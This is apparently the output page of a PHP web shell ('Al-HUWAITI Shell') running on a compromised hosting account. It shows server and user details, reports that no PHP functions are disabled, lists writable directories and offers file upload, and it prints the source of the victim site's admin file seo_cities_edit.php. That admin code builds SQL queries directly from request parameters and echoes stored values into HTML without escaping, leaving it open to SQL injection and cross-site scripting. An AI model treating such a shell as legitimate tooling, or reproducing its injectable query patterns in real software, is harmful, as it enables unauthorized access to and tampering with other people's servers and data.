Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/admin/seo_cities_edit.php
<?php
$error = "";
$message = "";
include "db_connection.php";
include "sessioncheck.php";
$error = "";
$message = "";
if (!empty($_GET["id"])) {
    $query = "SELECT * from seo_city WHERE id='" . $_GET['id'] . "'";
    }
    if(isset($_POST["language"])){

    if($lang_site_main_lang != $_POST["language"]){

        $query = "SELECT * from seo_city WHERE  `language` = '" . $_POST['language'] . "' and `keyword` = '" . $_POST['keyword'] . "' and `city` = '" . $_POST['city'] . "'";
    }

    }
    $result = mysqli_query($connection, $query);
    $row = mysqli_fetch_assoc($result);
    $_GET["id"] = $row["id"];
    if (!empty($row["id"])) {
    } else {
        header("Location:seo_cities");
}
$keyword = trim($row["keyword"]);
$city = trim($row["city"]);
if (!empty($_POST["Process"]) && trim($_POST["Process"]) == "EditNow") {
// print_r($_POST);

    $page = array();
        $page['footer_title'] = stxt($_POST['footer_title']);
    $page['footer_description'] = stxt($_POST['footer_description']);
    $page['footer_title_1'] = stxt($_POST['footer_title_1']);
    $page['footer_description_1'] = stxt($_POST['footer_description_1']);
    $page['footer_title_2'] = stxt($_POST['footer_title_2']);
    $page['footer_description_2'] = stxt($_POST['footer_description_2']);
    $page['footer_title_3'] = stxt($_POST['footer_title_3']);
    $page['footer_description_3'] = stxt($_POST['footer_description_3']);
    $page['above_footer_status'] = stxt($_POST['above_footer_status']);
    $page['above_footer_status_section_1'] = stxt($_POST['above_footer_status_section_1']);
    $page['h1_status'] = stxt($_POST['h1_status']);
    $page['h1_title'] = stxt($_POST['h1_title']);
    $page['h1_description'] = stxt($_POST['h1_description']);

$Date = date("Y-m-d H:i:s");
$lang_site_main_lang = $language = trim($_POST["language"]);
$id = trim($_POST["id"]);
$keyword = trim($_POST["keyword"]);
$city = trim($_POST["city"]);
$meta_keyword = stxt($_POST["meta_keyword"]);
$meta_title = stxt($_POST["meta_title"]);
$meta_description = stxt($_POST["meta_description"]);
$h1_title = stxt($_POST["h1_title"]);
$h1_description = stxt($_POST["h1_description"]);
$h2_title_1 = stxt($_POST["h2_title_1"]);
$h2_description_1 = stxt($_POST["h2_description_1"]);
$h2_title_2 = stxt($_POST["h2_title_2"]);
$h2_description_2 = stxt($_POST["h2_description_2"]);
$h2_title_3 = stxt($_POST["h2_title_3"]);
$h2_description_3 = stxt($_POST["h2_description_3"]);
$h2_title_4 = stxt($_POST["h2_title_4"]);
$h2_description_4 = stxt($_POST["h2_description_4"]);
$bottom_title = stxt($_POST["bottom_title"]);
$bottom_description = stxt($_POST["bottom_description"]);
$bottom_title_1 = stxt($_POST["bottom_title_1"]);
$bottom_description_1 = stxt($_POST["bottom_description_1"]);
$bottom_title_2 = stxt($_POST["bottom_title_2"]);
$bottom_description_2 = stxt($_POST["bottom_description_2"]);
$bottom_title_3 = stxt($_POST["bottom_title_3"]);
$bottom_description_3 = stxt($_POST["bottom_description_3"]);
$city_anchor = stxt($_POST["city_anchor"]);
$city_outgoing_link = stxt($_POST["city_outgoing_link"]);
//[[
 $sql_check = "SELECT * FROM `seo_city` WHERE  `language` = '$language' and `keyword` = '$keyword' and `city` = '$city' or `language` = '$language' and `keyword` = '' and `city` = '$city'";
$result_check = mysqli_query($connection, $sql_check);
if (mysqli_num_rows($result_check) > 0) {
    $val = json_encode($page,JSON_UNESCAPED_UNICODE);

//update start
   $sql_ = "UPDATE `seo_city` SET   `language` = '$language', `keyword` = '$keyword', `city` = '$city', `meta_keyword` = '$meta_keyword', `meta_title` = '$meta_title', `meta_description` = '$meta_description', `h1_title` = '$h1_title', `h1_description` = '$h1_description', `h2_title_1` = '$h2_title_1', `h2_description_1` = '$h2_description_1', `h2_title_2` = '$h2_title_2', `h2_description_2` = '$h2_description_2', `h2_title_3` = '$h2_title_3', `h2_description_3` = '$h2_description_3', `h2_title_4` = '$h2_title_4', `h2_description_4` = '$h2_description_4', `bottom_title` = '$bottom_title', `bottom_description` = '$bottom_description', `bottom_title_1` = '$bottom_title_1', `bottom_description_1` = '$bottom_description_1', `bottom_title_2` = '$bottom_title_2', `bottom_description_2` = '$bottom_description_2', `bottom_title_3` = '$bottom_title_3', `bottom_description_3` = '$bottom_description_3', `city_anchor` = '$city_anchor', `city_outgoing_link` = '$city_outgoing_link' , meta_values = '$val' WHERE `language` = '$language' and `keyword` = '$keyword' and `city` = '$city' or `language` = '$language' and `keyword` = '' and `city` = '$city'";
if (mysqli_query($connection, $sql_)) {
  $message = "updated successfully";



//////////////////////////////////seo detail //////////////////

    $sqll_del = "DELETE FROM `seo_detail` WHERE `language` = '" .$lang_site_main_lang. "' and `page` = 'city' and `key` = 'footer_section_1'  and `city` = '$city' and `keyword` = '$keyword'";
    mysqli_query($connection, $sqll_del);
    $l= 0;
    foreach ($_POST['footer_title_section_1'] as $key11 => $value22) {
        // code...
        $footer_title_section_1 = htmlspecialchars(stxt($value22));
        $meta_description_section_1 = htmlspecialchars(stxt($_POST['meta_description_section_1'][$l]));
        $sqlinst = "INSERT INTO `seo_detail`( `language` ,`seo_id`, `key`, `value`, `value1`, `city`, `keyword`) VALUES ('$language','$id' ,'footer_section_1','$footer_title_section_1', '$meta_description_section_1', '$city', '$keyword')";
            mysqli_query($connection, $sqlinst);
            $l++;
    }

//////////////////////////////////seo detail //////////////////






} else {
  $message = "Error: " . $sql . " " . mysqli_error($connection);
}
//insert end
} else {
//insert start
 $sql = "INSERT INTO `seo_city`( `language`, `keyword`, `city`, `meta_keyword`, `meta_title`, `meta_description`, `h1_title`, `h1_description`, `h2_title_1`, `h2_description_1`, `h2_title_2`, `h2_description_2`, `h2_title_3`, `h2_description_3`, `h2_title_4`, `h2_description_4`, `bottom_title`, `bottom_description`, `bottom_title_1`, `bottom_description_1`, `bottom_title_2`, `bottom_description_2`, `bottom_title_3`, `bottom_description_3`, `city_anchor`, `city_outgoing_link`) VALUES ('$language','$keyword','$city','$meta_keyword','$meta_title','$meta_description','$h1_title','$h1_description','$h2_title_1','$h2_description_1','$h2_title_2','$h2_description_2','$h2_title_3','$h2_description_3','$h2_title_4','$h2_description_4','$bottom_title','$bottom_description','$bottom_title_1','$bottom_description_1','$bottom_title_2','$bottom_description_2','$bottom_title_3','$bottom_description_3','$city_anchor','$city_outgoing_link')";
if (mysqli_query($connection, $sql)) {
  $message = "New record created successfully";
  $last_id = mysqli_insert_id($connection);



 //////////////////////////////////seo detail //////////////////

    $sqll_del = "DELETE FROM `seo_detail` WHERE `language` = '" .$lang_site_main_lang. "' and `page` = 'city' and `key` = 'footer_section_1'  and `city` = '$city' and `keyword` = '$keyword'";
    mysqli_query($connection, $sqll_del);
    $l= 0;
    foreach ($_POST['footer_title_section_1'] as $key11 => $value22) {
        // code...
        $footer_title_section_1 = htmlspecialchars(stxt($value22));
        $meta_description_section_1 = htmlspecialchars(stxt($_POST['meta_description_section_1'][$l]));
       $sqlinst = "INSERT INTO `seo_detail`( `language` ,`seo_id`, `key`, `value`, `value1`, `city`, `keyword`) VALUES ('$language','$last_id' ,'footer_section_1','$footer_title_section_1', '$meta_description_section_1', '$city', '$keyword')";
            mysqli_query($connection, $sqlinst);
            $l++;
    }

//////////////////////////////////seo detail //////////////////



} else {
  $message = "Error: " . $sql . "
" . mysqli_error($con);
}
//insert end
}
//]]



// die();exit;

} //isset end










$query = "SELECT * from seo_city WHERE id='" . $_GET['id'] . "'";
$result = mysqli_query($connection, $query);
$row = mysqli_fetch_assoc($result);
$tmp_array = json_decode($row["meta_values"], true);
?>
<!-- Header Start-->
<?php include("header.php"); ?>
<nav class=" navbar navbar-expand navbar-white navbar-light">
    <ul class="navbar-nav">
        <li class="nav-item">
            <a class="nav-link" data-widget="pushmenu" href="#">
                <i class="fa fa-bars" style="color:white;"></i>
            </a>
        </li>
    </ul>
    <div>
        <ol class="breadcrumb float-sm-right">
            <li class="breadcrumb-item ">cities</li>
            <li class="breadcrumb-item">Edit city</li>
        </ol>
    </div>
</nav>
<!-- Header Ends-->
<!-- Content Start-->

<section class="content">
    <div class="container-fluid">
        <div class="row">
            <div class="col-12">
                <form action="" method="post" id="add-user-form" enctype="multipart/form-data">
                    <?php include_once 'notification.php'; ?>
                <div id="content_back">

                <div class="card">
                    <div class="card-body">
                        
                        
                            <input type="hidden" name="id" id="id" value="<?= $row["id"] ?>" />
                        
                            <div class="form-group">
                                <label for="city">cities</label>
                                <input type="text" name="city" id="city" class="form-control input-sm" title="city" placeholder="city" value="<?= $row["city"] ?>" required />
                            </div>
                            <div class="form-group">
                                <label for="keyword">Keyword</label>
                                <input type="text" name="keyword" id="keyword" class="form-control input-sm" title="Keyword" placeholder="Keyword" value="<?= $row["keyword"] ?>" required />
                            </div>
                            <div class="form-group">
                                <label for="meta_keyword">Meta Keyword</label>
                                <input type="text" name="meta_keyword" id="meta_keyword" class="form-control input-sm" title="Meta Keyword" placeholder="Meta Keyword" value="<?= $row["meta_keyword"] ?>" />
                            </div>
                            <div class="form-group">
                                <label for="meta_title">Meta Title</label>
                                <input type="text" name="meta_title" id="meta_title" class="form-control input-sm" title="Meta Title" placeholder="Meta Title" value="<?= $row["meta_title"] ?>" />
                            </div>
                            <div class="form-group">
                                <label for="meta_description">Meta Description</label>
                                <input type="text" name="meta_description" id="meta_description" class="form-control input-sm" title="Meta Description" placeholder="Meta Description" value="<?= $row["meta_description"] ?>" />
                            </div>
                           <!--     <div class="form-group">
                                <label for="h1_title">H1 Title</label>
                                <input type="text" name="h1_title" id="h1_title" class="form-control input-sm" title="H1 Title" placeholder="H1 Title" value="<?= $row["h1_title"] ?>" />
                            </div>
                            <div class="form-group">
                                <label for="h1_description">H1 Description</label>
                                <textarea class="form-control input_border_radius input-sm" id="h1_description" rows="7" name="h1_description" title="H1 Description" placeholder="H1 Description"><?php echo $row['h1_description']; ?></textarea>
                            </div> -->
                              <div class="form-group">
                                <label for="city_anchor">city Anchor</label>
                                <input type="text" name="city_anchor" id="city_anchor" class="form-control input-sm" title="city Anchor" placeholder="city Anchor" value="<?= $row["city_anchor"] ?>" />
                            </div>
                            <div class="form-group">
                                <label for="city_outgoing_link">city Outgoing Link</label>
                                <input type="text" name="city_outgoing_link" id="city_outgoing_link" class="form-control input-sm" title="city Outgoing Link" placeholder="city Outgoing Link" value="<?= $row["city_outgoing_link"] ?>" />
                            </div>
                      
                            <button type="submit" id="submit" class="btn btn-primary d-none">Edit</button>
                            <input type="hidden" name="Process" id="Process" value="EditNow" />
                        
                    </div>
                    <!-- /.card-body -->
                </div>
                <!-- /.card -->


<!-- /.card -->
                  <div class="card">
                        <div class="card-header">
                            <h3 class="card-title"> H1</h3>  
                            <div class="float-right">
                                          
                            <label class="switch">
                                

                              <input type="checkbox" class="switch-input" value="1" name="h1_status" <?php if($tmp_array["h1_status"]){
                                echo "checked";
                              } ?>>
                              <span class="switch-label" data-on="On" data-off="Off"></span>
                              <span class="switch-handle"></span>
                            </label>
                        </div>
                        </div>
                        <div class="card-body">

                            <div class="form-group">
                                <label for="meta_keyword">H1 Title</label>
                                <input type="text" class="form-control" id="meta_keyword" name="h1_title" placeholder="Title" value="<?= rtxt($row["h1_title"]) ?>">
                            </div>

                            <div class="form-group">
                                <label for="country">H1 Description</label>
                                <textarea class="form-control input_border_radius input-sm" id="footer_description" rows="2" name="h1_description" title="Meta Description" placeholder=" Description" ><?php echo rtxt($row['h1_description']); ?></textarea>
                            </div>


                          
                          
                            </div>
                        </div>







                   <div class="card">
                        <div class="card-header">
                            <h3 class="card-title"> Above Footer (section 1)</h3>  
                            <div class="float-right">
                                           

                                


                            <label class="switch">
                                

                              <input type="checkbox" class="switch-input" value="1" name="above_footer_status_section_1" <?php if($tmp_array["above_footer_status_section_1"]){
                                echo "checked";
                              } ?>>
                              <span class="switch-label" data-on="On" data-off="Off"></span>
                              <span class="switch-handle"></span>
                            </label>
                        </div>
                        </div>
                        <div class="card-body">
                            <div  class="TextBoxContainer" id="TextBoxContainer">

                                
                                <?php 

                                $u=0;
                                 $sql = "SELECT `id`, `language`, `page`, `key`, `value`, `value1` FROM `seo_detail` WHERE `language` = '" .$lang_site_main_lang. "' and `page` = 'city' and `key` = 'footer_section_1'  and `city` = '$city' and keyword = '$keyword'";
                                $result = mysqli_query($connection, $sql);
                                if (mysqli_num_rows($result) > 0) {
                                // output data of each row
                                $h=0;
                                while($row = mysqli_fetch_assoc($result)) {
                                $id = $row["id"];
                                $language = $row["language"];
                                $page = $row["page"];
                                $key = $row["key"];
                                $value = $row["value"];
                                $value1 = $row["value1"];
                                $h++;

                                if($h != 1){
                                    continue;
                                }
                                ?>
                            <div class="form-group label">
                        <!--         <label for="meta_keyword" style="width:100%">Title H
                                <button type="button" id="delete_user_1" type="button" class="remove btn   text-danger float-right" value="remove" style="padding:0px"><i class="fa fa-trash fa-lg"></i></button>
                                </label>
                                <input type="text" class="form-control" id="meta_keyword" name="footer_title_section_1[]" placeholder="Title" value="<?PHP ECHO $value ; ?>"> -->
                                

                           
                                <!-- <label for="country">Description</label> -->
                                <?php $six_digit_random_number = random_int(100000, 999999); ?>
                                <textarea class="form-control input_border_radius input-sm" id="p<?php echo $six_digit_random_number; ?>" rows="5" name="meta_description_section_1[]" title="Meta Description" placeholder="Meta Description" ><?php echo $value1 ?></textarea>
                            </div>
  <script type="text/javascript">
                                    
                                       setTimeout(() => {
        var textarea = document.getElementById("p<?php echo $six_digit_random_number; ?>");
// CKEditor.replace(textarea);
                                CKEDITOR.replace(textarea,{
        versionCheck: false
    });

}, 1000);
                                    
                                </script>
                        <?php

                        }
                        } else {
                       ?>
                           <div class="form-group label">
                                <label for="meta_keyword" style="width:100%">Title H
                                <button type="button" id="delete_user_1" type="button" class="remove btn   text-danger float-right" value="remove" style="padding:0px"><i class="fa fa-trash fa-lg"></i></button>
                                </label>
                                <input type="text" class="form-control" id="meta_keyword" name="footer_title_section_1[]" placeholder="Title" value="<?PHP ECHO $value ; ?>">
                                

                           
                                <label for="country">Description</label>
                                <?php $six_digit_random_number = random_int(100000, 999999); ?>
                                <textarea class="form-control input_border_radius input-sm" id="p<?php echo $six_digit_random_number; ?>" rows="5" name="meta_description_section_1[]" title="Meta Description" placeholder="Meta Description" ><?php echo $value1 ?></textarea>
                            </div>
  <script type="text/javascript">
                                    
                                       setTimeout(() => {
        var textarea = document.getElementById("p<?php echo $six_digit_random_number; ?>");
// CKEditor.replace(textarea);
                                CKEDITOR.replace(textarea,{
        versionCheck: false
    });

}, 1000);
                                    
                                </script>
                                <?php
                        }
                                                            ?>
                                    
                          
                                
                            
                            


                           
                                
                            </div>
                            <!-- <button  id="btnAdd" type="button" value="Add" class="btn btn-info btn btn-block" /><i class="fa fa-plus fa-md" style="color: ;"></i> Add</button> -->
                        </div>
                    </div>







                     <div class="card">
                        <div class="card-header">
                            <h3 class="card-title">Above Footer (section 2)</h3>  
                            <div class="float-right">
                                
                            <label class="switch">
                                

                              <input type="checkbox" class="switch-input" value="1" name="above_footer_status" <?php if($tmp_array["above_footer_status"]){
                                echo "checked";
                              } ?>>
                              <span class="switch-label" data-on="On" data-off="Off"></span>
                              <span class="switch-handle"></span>
                            </label>
                        </div>
                        </div>
                        <div class="card-body">

                            <div class="form-group">
                                <label for="meta_keyword">Title</label>
                                <input type="text" class="form-control" id="meta_keyword_main" name="footer_title" placeholder="Title" value="<?php echo @$tmp_array["footer_title"]; ?>">
                            </div>

                            <div class="form-group">
                                <label for="country">Description</label>
                                <textarea class="form-control input_border_radius input-sm" id="footer_description" rows="2" name="footer_description" title="Meta Description" placeholder=" Description" ><?php echo @$tmp_array["footer_description"]; ?></textarea>
                            </div>


                            <div class="row">
                                <div class="col-md-4">
                                      <div class="form-group">
                                <label for="meta_keyword">Title 1</label>
                                <input type="text" class="form-control" id="meta_keyword" name="footer_title_1" placeholder="Title 1" value="<?php echo @$tmp_array["footer_title_1"]; ?>">
                            </div>

                            <div class="form-group">
                                <label for="country">Description 1 </label>
                                <textarea class="form-control input_border_radius input-sm" id="footer_description_1" rows="4" name="footer_description_1" title="Meta Description" placeholder=" Description 1" ><?php echo @$tmp_array["footer_description_1"]; ?></textarea>
                            </div>
                                </div>
                                 <div class="col-md-4">
                                      <div class="form-group">
                                <label for="meta_keyword">Title 2</label>
                                <input type="text" class="form-control" id="meta_keyword" name="footer_title_2" placeholder="Title 2" value="<?php echo @$tmp_array["footer_title_2"]; ?>">
                            </div>

                            <div class="form-group">
                                <label for="country">Description 2 </label>
                                <textarea class="form-control input_border_radius input-sm" id="meta_description" rows="4" name="footer_description_2" title="Meta Description" placeholder="Meta Description" ><?php echo @$tmp_array["footer_description_2"]; ?></textarea>
                            </div>
                                </div>
                                 <div class="col-md-4">
                                      <div class="form-group">
                                <label for="meta_keyword">Title 3</label>
                                <input type="text" class="form-control" id="meta_keyword" name="footer_title_3" placeholder="Title 3" value="<?php echo @$tmp_array["footer_title_3"]; ?>">
                            </div>

                            <div class="form-group">
                                <label for="country">Description 3 </label>
                                <textarea class="form-control input_border_radius input-sm" id="meta_description" rows="4" name="footer_description_3" title="Description 3" placeholder="Meta Description" ><?php echo @$tmp_array["footer_description_3"]; ?></textarea>
                            </div>
                                </div>
                                
                            </div>
                                <input type="hidden" value="<?php echo $lang_site_main_lang; ?>" id="language" name="language">
                                </div>
                            </div>
</div> 
<!-- // content back end  -->
                            </form>





            </div>
        </div>
        <!-- /.row (main row) -->
    </div><!-- /.container-fluid -->
</section>
<!-- Content Ends-->

<!-- Footer Start-->
<footer class="main-footer">
  <div class="row">




    <div class="col-md-2 col-sm-6 col-6">
      <select id="language_old" class="form-control input_border_radius input-sm" title="Select Language" required>
        <?php foreach ($lang_admin as $key => $value) { ?>
          <option value="<?php echo $key; ?>" <?php if (trim($row["language"]) == "" && $lang_site_main_lang == $key) {  ?> selected="selected" <?php   } elseif (trim($row["language"]) != "" && $row["language"] == $key) {  ?> selected="selected" <?php } ?>><?php echo $value; ?></option>
        <?php  } //foreach($lang_admin as $key=>$value) 
        ?>
      </select>

    </div>
    <div class="col-md-2 col-sm-6 col-6">
      <button onclick=" document.getElementById('submit').click();" class="btn btn-primary btn-block">Save</button>
    </div>

  </div>



</footer>

<?php include("footer.php");
$id = @$_GET['id'];
$page = @$_GET['page'];
 ?>
<!-- Footer Ends-->
<script type="text/javascript">
     $(document).ready(function() {
    $('#language_old').change(function() {
      document.getElementById('language').value = $(this).val();
      let city = document.getElementById('city').value;
      let keyword = document.getElementById('keyword').value;

      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function(s) {
        if (xhr.readyState === 4) {
           
          document.getElementById('content_back').innerHTML = xhr.responseText;
          // alert('working');
           // ==============loop all css 
              setTimeout(function() {
  
const slides = document.getElementsByClassName("discription_main");

// console.log('slides',slides);
for (let i = 0; i < slides.length; i++) {
    CKEDITOR.replace(slides.item(i),{
        versionCheck: false
    });

   // console.log('discription_main',slides.item(i));
}
  }, 1000);

            // ==============loop all css 
          // console.log('data',this.responseText)
          // document.getElementById('language').value = $(this).val();
        }
      };
      xhr.open('POST', 'service/ajax_seo_cities?slang=' + $(this).val()+"&id=<?php echo $id ?>"+"&city="+city+"&keyword="+keyword);
      xhr.send('slang=' + $(this).val());



    });

  });

</script>
<style>
      /* //////////////////common start////////////// */

  .content-wrapper .content {
    height: calc(100vh - 112px) !important;
    overflow-y: auto;
    margin-top: 56px;
  }

  .content-wrapper .navbar {
    height: 56px;
  }

  .main-footer {
    padding: 7px 8px;
    border-top: 2px solid #0002;
    height: 56px;
  }

  ::-webkit-scrollbar {
    height: 6px;
    width: 6px;
  }

  ::-webkit-scrollbar-track {
    background-color: white;
  }

  ::-webkit-scrollbar-thumb {
    background-color: #aaa;
    border-radius: 20px;
  }

  ::-webkit-scrollbar-thumb:hover {
    background-color: #aaa;
  }

  .card {
    border-radius: 0px;
  }
@media (min-width: 768px) {
    .main-footer {
        transition: margin-left 0.3s ease-in-out;
        margin-left: 0px!important;
    }
}

/*---------------------------------switsh=====*/

.switch {
    float: right;
  position: relative;
  display: inline-block;
  vertical-align: top;
  width: 56px;
  height: 20px;
  padding: 3px;
  background-color: white;
  border-radius: 18px;
  box-shadow: inset 0 -1px white, inset 0 1px 1px rgba(0, 0, 0, 0.05);
  cursor: pointer;
  background-image: -webkit-linear-gradient(top, #eeeeee, white 25px);
  background-image: -moz-linear-gradient(top, #eeeeee, white 25px);
  background-image: -o-linear-gradient(top, #eeeeee, white 25px);
  background-image: linear-gradient(to bottom, #eeeeee, white 25px);
}

.switch-input {
  position: absolute;
  top: 0;
  left: 0;
  opacity: 0;
}

.switch-label {
  position: relative;
  display: block;
  height: inherit;
  font-size: 10px;
  text-transform: uppercase;
  background: #eceeef;
  border-radius: inherit;
  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.12), inset 0 0 2px rgba(0, 0, 0, 0.15);
  -webkit-transition: 0.15s ease-out;
  -moz-transition: 0.15s ease-out;
  -o-transition: 0.15s ease-out;
  transition: 0.15s ease-out;
  -webkit-transition-property: opacity background;
  -moz-transition-property: opacity background;
  -o-transition-property: opacity background;
  transition-property: opacity background;
}
.switch-label:before, .switch-label:after {
  position: absolute;
  top: 50%;
  margin-top: -.5em;
  line-height: 1;
  -webkit-transition: inherit;
  -moz-transition: inherit;
  -o-transition: inherit;
  transition: inherit;
}
.switch-label:before {
  content: attr(data-off);
  right: 11px;
  color: #aaa;
  text-shadow: 0 1px rgba(255, 255, 255, 0.5);
}
.switch-label:after {
  content: attr(data-on);
  left: 11px;
  color: white;
  text-shadow: 0 1px rgba(0, 0, 0, 0.2);
  opacity: 0;
}
.switch-input:checked ~ .switch-label {
  background: #47a8d8;
  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.15), inset 0 0 3px rgba(0, 0, 0, 0.2);
}
.switch-input:checked ~ .switch-label:before {
  opacity: 0;
}
.switch-input:checked ~ .switch-label:after {
  opacity: 1;
}

.switch-handle {
  position: absolute;
  top: 4px;
  left: 4px;
  width: 18px;
  height: 18px;
  background: white;
  border-radius: 10px;
  box-shadow: 1px 1px 5px rgba(0, 0, 0, 0.2);
  background-image: -webkit-linear-gradient(top, white 40%, #f0f0f0);
  background-image: -moz-linear-gradient(top, white 40%, #f0f0f0);
  background-image: -o-linear-gradient(top, white 40%, #f0f0f0);
  background-image: linear-gradient(to bottom, white 40%, #f0f0f0);
  -webkit-transition: left 0.15s ease-out;
  -moz-transition: left 0.15s ease-out;
  -o-transition: left 0.15s ease-out;
  transition: left 0.15s ease-out;
}
.switch-handle:before {
  content: '';
  position: absolute;
  top: 50%;
  left: 50%;
  margin: -6px 0 0 -6px;
  width: 12px;
  height: 12px;
  background: #f9f9f9;
  border-radius: 6px;
  box-shadow: inset 0 1px rgba(0, 0, 0, 0.02);
  background-image: -webkit-linear-gradient(top, #eeeeee, white);
  background-image: -moz-linear-gradient(top, #eeeeee, white);
  background-image: -o-linear-gradient(top, #eeeeee, white);
  background-image: linear-gradient(to bottom, #eeeeee, white);
}
.switch-input:checked ~ .switch-handle {
  left: 40px;
  box-shadow: -1px 1px 5px rgba(0, 0, 0, 0.2);
}

.switch-green > .switch-input:checked ~ .switch-label {
  background: #4fb845;
}

  /* //////////////////common end////////////// */
</style>
<script src="https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/1.5.10/clipboard.min.js"></script>


<script type="text/javascript">
    
// Tooltip

$('button').tooltip({
  trigger: 'click',
  placement: 'bottom'
});

function setTooltip(btn, message) {
  $(btn).tooltip('hide')
    .attr('data-original-title', message)
    .tooltip('show');
}

function hideTooltip(btn) {
  setTimeout(function() {
    $(btn).tooltip('hide');
  }, 1000);
}

// Clipboard

var clipboard = new Clipboard('button');

clipboard.on('success', function(e) {
  setTooltip(e.trigger, 'Copied!');
  hideTooltip(e.trigger);
});

clipboard.on('error', function(e) {
  setTooltip(e.trigger, 'Failed!');
  hideTooltip(e.trigger);
});



$(function () {
    // $("#btnAdd").bind("click", function () {
    $('body').on('click', '#btnAdd', function () {
        var div = $("<div />");
        div.html(GetDynamicTextBox(""));
        $("#TextBoxContainer").append(div);
    });
    $("#btnGet").bind("click", function () {
        var values = "";
        $("input[name=DynamicTextBox]").each(function () {
            values += $(this).val() + "\n";
        });
        alert(values);
    });
    $("body").on("click", ".remove", function () {
        $(this).closest("div").remove();
    });
});
function GetDynamicTextBox(value) {

const rand = 'id'+Math.floor(100000 + Math.random() * 900000);

       setTimeout(() => {
        var textarea = document.getElementById(rand);
// CKEditor.replace(textarea);
                                CKEDITOR.replace(textarea,{
        versionCheck: false
    });

}, 1000);


     return `<div class="form-group label">
                                <label for="meta_keyword" style="width:100%">Title
                                <button type="button" id="delete_user_1" type="button" class="remove btn   text-danger float-right" value="remove" style="padding:0px"><i class="fa fa-trash fa-lg"></i></button>
                                </label>
                                <input type="text" class="form-control" id="meta_keyword" name="footer_title_section_1[]" placeholder="Title" value="">
                                
                           
                                <label for="country">Description</label>
                                <textarea class="form-control input_border_radius input-sm" id="${rand}" rows="5" name="meta_description_section_1[]" title="Meta Description" placeholder="Meta Description" ></textarea>
                            </div>
                            

                            
                            `;

                     





     //'



    // <input type="button" value="Remove" class="remove btn btn-danger" /><input type="text" value = "' + value + '" />&nbsp;'  + '<input name = "DynamicTextBox" type="text" value = "' + value + '" />&nbsp;' +'<input id="btnAdd" type="button" value="Add" />'
    //     +'<input type="button" value="Remove" class="remove" />'
}

</script>

Al-HUWAITI Shell